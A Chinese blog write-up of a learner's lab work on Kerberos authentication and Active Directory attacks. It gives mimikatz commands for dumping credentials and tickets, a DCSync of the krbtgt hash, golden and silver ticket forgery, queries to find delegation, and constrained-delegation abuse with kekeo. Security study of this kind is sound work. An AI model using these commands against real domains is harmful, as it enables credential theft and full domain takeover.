kerberos浅析认证及攻击方法

admin 2021年12月2日11:17:39安全文章评论48 views3510字阅读11分42秒阅读模式

kerberos浅析认证及攻击方法


△△△点击上方“蓝字”关注我们了解更多精彩




0x00 Preface

最近在学习Kerberos的(还有很多没学习到),于是乎就有了这篇文章
期间捣鼓了很多次域环境,当时弄的烦死了...
本人比较菜哈,有错误的地方,欢迎各位大师傅指出~~~


0x01 kerberos浅析认证
0、基础知识

在Kerberos协议中主要有三个角色的存在:

1.访问服务的Client

2.提供服务的Server

3.KDC(Key Distribution Center)密钥分发中心其中KDC分为Authentication Service(简称AS),AS为Client生成TGT、Ticket Granting Service(简称TGS),TGS为Client生成Ticket

AD类似于本机SAM的一个数据库,存储着Client的白名单,只有在这个名单中的Client才能够申请到TGT

TGT:可以理解为入场卷,通过入场卷可以获得票据

Tickket:票据,在域中使用

KDC服务默认安装域控中,从物理层面看,AD与KDC均为域控制器

KDC服务框架中包含一个krbtgt账户,是在创建域时系统自动创建的

1、认证流程

这个流程可以理解为:

有一个富豪在他的别野弄了一场宴会,邀请了Client并发送了邀请函(宴会主人不知道Client长啥样),并且宴会由主人亲自主持。那么Client要进入宴会找到富豪得到想要的东西,有下面几道程序:

1.邀请函 --> 白名单

2.Client来到别野大门被保安(AS)拦住Client并询问他是否有邀请函(白名单),Client亮出邀请函,保安立马拿富豪为Client准备的礼物(TGT)给他,这下Client让司机继续驶向富豪的别野

3.富豪的管家(TGS)早早的在别野门口等候,当管家(TGS)看到Client手上拿着礼物(TGT),即可上来进行问好并把别野的通行卡(Ticket)给了Clent

4.拿到了通行卡(Ticket)的Client就可以在别野中畅通无阻并找到了富豪(Server),得到了他想要的东西

kerberos浅析认证及攻击方法




0x02 kerberos攻击方法

0、白银票据

privilege::Debug,提升权限
sekurlsa::logonpasswords,抓取密码
kerberos::list,查看有没有票据,假如有需要进行清除
kerberos::purge,清除票据
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
/sid:SID值
/target:目标服务器主机名
/service:需要指定相关的服务名,此处为cifs
/rc4:域控的计算机账号ntlm hash
/user:要伪造的用户名,任意填写

kerberos浅析认证及攻击方法

1、黄金票据

lsadump::dcsync /domain:域名 /user:krbtgt
#构造方法
mimikatz.exe "kerberos::golden /domain:域名 /sid:域sid /rc4:krbtgt ntlm hash /user:任意用户名 /ptt" exit
#测试是否成功
dir \server2008.hello.com

kerberos浅析认证及攻击方法

可以使用PsExec进行执行命令

kerberos浅析认证及攻击方法

工具下载地址

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

3、金票与银票区别

获取的权限不同

金票:伪造的TGT,可以获取任意Kerberos的访问权限

银票:伪造的ST,只能访问指定的服务,如CIFS

认证流程不同

金票:同KDC交互,但不同AS交互

银票:不同KDC交互,直接访问Server

加密方式不同

金票:由krbtgt NTLM Hash 加密

银票:由服务账号 NTLM Hash 加密

4、非约束委派

设置非约束委派

kerberos浅析认证及攻击方法

设置完之后,要用administrator账户登录W2008,这里使用WinRM进行远程连接,默认端口为5985

Enter-PSSession -ComputerName W2008

常见的连接方式还有:MSSQL和IIS

假如出现此错误

kerberos浅析认证及攻击方法

#域控运行,添加trusthost列表
Set-item wsman:localhostclienttrustedhosts –value *
#域主机运行
Enable-PSremoting -force

kerberos浅析认证及攻击方法

非约束委派查找

ADfind

工具地址:http://www.joeware.net/freetools/tools/adfind/index.htm

AdFind.exe -b "DC=hello,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

kerberos浅析认证及攻击方法

PowerView

工具地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Get-NetComputer -Unconstrained -Domain hello.com

kerberos浅析认证及攻击方法

ldapsearch

#kali自带
ldapsearch -x -H ldap://192.168.213.148:389 -D "CN=hello,CN=Users,DC=hello,DC=com" -w password -b "DC=hello,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"


非约束委派利用

privilege::debug 
sekurlsa::tickets /export

kerberos浅析认证及攻击方法

通过ptt将TGT注入到当前会话中

kerberos::ptt [0;76b92][email protected]

kerberos浅析认证及攻击方法

关于非约束委派的,还有一个是结合打印机的,我的环境问题没有进行复现

5、约束委派

设置约束委派

kerberos浅析认证及攻击方法

约束委派查找

ADfind

AdFind.exe -b "DC=hello,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

kerberos浅析认证及攻击方法

PowerView

Get-DomainComputer -TrustedToAuth -Domain hello.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

约束委派利用

由于环境问题没复现成功,大体思路如下

tgt::ask /user:DM /domain:hello.com /password:abcd0123** /ticket:test.kirb

获得:

[email protected][email protected]
#将其改名为2.kirbi
#使用这张TGT通过伪造s4u请求以administrator用户身份请求访问AD CIFS的ST
tgs::s4u /tgt:2.kirbi /user:[email protected] /service:cifs/AD.hello.com
#使用mimikatz将ST2导入当前会话
kerberos::ptt [email protected]@[email protected]
#导入之后即可访问AD的cifs服务,kekeo同样支持使用NTLM Hash





0x09 Summary 总结
还有很多要进行学习,2021加油!
参考引用:

https://www.jianshu.com/p/4936da524040

https://xz.aliyun.com/t/7217


END



如您有任何问题、建议、需求请后台留言NOVASEC公众号!


感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!


kerberos浅析认证及攻击方法


如有任何问题、建议、合作、投稿请加NOVASEC-MOYU,以方便及时回复。



本文始发于微信公众号(NOVASEC):kerberos浅析认证及攻击方法

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月2日11:17:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  kerberos浅析认证及攻击方法 http://cn-sec.com/archives/494602.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: